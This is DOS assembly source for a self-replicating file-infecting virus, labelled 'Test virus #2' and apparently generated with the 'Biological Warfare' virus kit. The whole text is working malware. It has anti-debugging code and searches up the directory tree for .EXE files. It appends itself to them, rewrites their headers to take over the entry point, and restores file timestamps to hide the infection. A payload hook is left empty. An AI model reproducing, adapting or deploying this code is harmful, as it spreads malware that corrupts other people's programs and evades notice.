; test2.asm : Test virus #2 ; Created with Biological Warfare - Version 0.90á by MnemoniX PING equ 0A6CFh INFECT equ 2 MARKER equ 08080h code segment org 100h assume cs:code,ds:code start: db 0E9h,3,0 ; to virus host: db 0CDh,20h,0 ; host program virus_begin: push ds es call $ + 3 ; BP is instruction ptr. pop bp sub bp,offset $ - 1 xor ax,ax ; mild anti-trace code mov es,ax ; kill interrupts 1 & 3 mov di,6 stosw mov di,14 stosw in al,21h ; lock out & reopen keyboard xor al,2 out 21h,al xor al,2 out 21h,al push cs pop ds lea dx,[bp + offset new_DTA] mov ah,1Ah int 21h mov byte ptr [bp + infections],0 push [bp + exe_cs] push [bp + exe_ip] push [bp + exe_ss] push [bp + exe_sp] call traverse call activate pop [bp + exe_sp] pop [bp + exe_ss] pop [bp + exe_ip] pop [bp + exe_cs] pop es ds mov dx,80h mov ah,1Ah int 21h exe_exit: mov ax,ds ; fix up return address add ax,10h push ax add ax,cs:[bp + exe_cs] mov cs:[bp + return_cs],ax mov ax,cs:[bp + exe_ip] mov cs:[bp + return_ip],ax pop ax add ax,cs:[bp + exe_ss] ; restore stack cli mov ss,ax mov sp,cs:[bp + exe_sp] call fix_regs ; fix up registers sti db 0EAh ; back to host program return_ip dw 0 return_cs dw 0 exe_cs dw -16 ; orig CS:IP exe_ip dw 103h exe_sp dw -2 ; orig SS:SP exe_ss dw -16 fix_regs: xor ax,ax cwd xor bx,bx mov si,100h xor di,di xor bp,bp ret traverse: sub sp,64 ; allocate stack space mov si,sp inc si mov ah,47h ; get current directory xor dl,dl push ds push ss pop ds int 21h pop ds dec si mov byte ptr ss:[si],'\' ; fix directory next_dir: call infect_dir cmp byte ptr [bp + infections],INFECT je traverse_done lea dx,[bp + outer] ; repeat in next dir up mov ah,3Bh int 21h jnc next_dir traverse_done: add sp,64 ; reset mov dx,si push ds push ss pop ds mov ah,3Bh int 21h pop ds ret infect_dir: mov ah,4Eh lea dx,[bp + find_me] int 21h jc infect_done next_file: lea dx,[bp + new_DTA + 1Eh] call execute cmp byte ptr [bp + infections],INFECT je infect_done mov ah,4Fh int 21h jnc next_file infect_done: ret execute: push si mov ax,4300h ; change attributes int 21h push cx dx ds xor cx,cx call set_attributes mov ax,3D02h ; open file int 21h jc cant_open xchg bx,ax mov ax,5700h ; save file date/time int 21h push cx dx mov ah,3Fh mov cx,28 lea dx,[bp + read_buffer] int 21h cmp word ptr [bp + read_buffer],'ZM' je infect_exe ; yes, infect as .EXE jmp dont_infect fix_date_time: pop dx cx mov ax,5701h ; restore file date/time int 21h inc byte ptr [bp + infections] close: pop ds dx cx ; restore attributes call set_attributes mov ah,3Eh ; close file int 21h cant_open: pop si ret set_attributes: mov ax,4301h int 21h ret dont_infect: pop cx dx ; can't infect, skip jmp close infect_exe: cmp word ptr [bp + read_buffer + 26],0 jne dont_infect ; overlay, don't infect cmp word ptr [bp + read_buffer + 16],MARKER je dont_infect ; infected already les ax,dword ptr [bp + read_buffer + 20] mov [bp + exe_cs],es mov [bp + exe_ip],ax les ax,dword ptr [bp + read_buffer + 14] mov [bp + exe_ss],ax mov [bp + exe_sp],es mov word ptr [bp + read_buffer + 16],MARKER mov ax,4202h ; to end of file cwd xor cx,cx int 21h push ax dx ; save file size push bx mov cl,12 ; calculate offsets for CS shl dx,cl ; and IP mov bx,ax mov cl,4 shr bx,cl add dx,bx and ax,15 pop bx sub dx,word ptr [bp + read_buffer + 8] mov word ptr [bp + read_buffer + 22],dx mov word ptr [bp + read_buffer + 20],ax add dx,100h mov word ptr [bp + read_buffer + 14],dx pop dx ax ; calculate prog size add ax,VIRUS_SIZE + 3 adc dx,0 mov cx,512 ; in pages div cx ; then save results inc ax mov word ptr [bp + read_buffer + 2],dx mov word ptr [bp + read_buffer + 4],ax mov ah,40h mov cx,VIRUS_SIZE + 3 lea dx,[bp + virus_begin] int 21h mov ax,4200h ; back to beginning cwd xor cx,cx int 21h mov ah,40h ; and fix up header mov cx,28 lea dx,[bp + read_buffer] int 21h jmp fix_date_time ; done activate: ; Insert your routine here ret courtesy_of db '[BW]',0 signature db 'Test virus #2',0 get_extension: push ds ; find extension pop es mov di,dx mov cx,64 mov al,'.' repnz scasb ret find_me db '*.EXE',0 outer db '..',0 infections db 0 virus_end: VIRUS_SIZE equ virus_end - virus_begin read_buffer db 28 dup (?) ; read buffer new_DTA db 128 dup(?) end_heap: MEM_SIZE equ end_heap - start code ends end start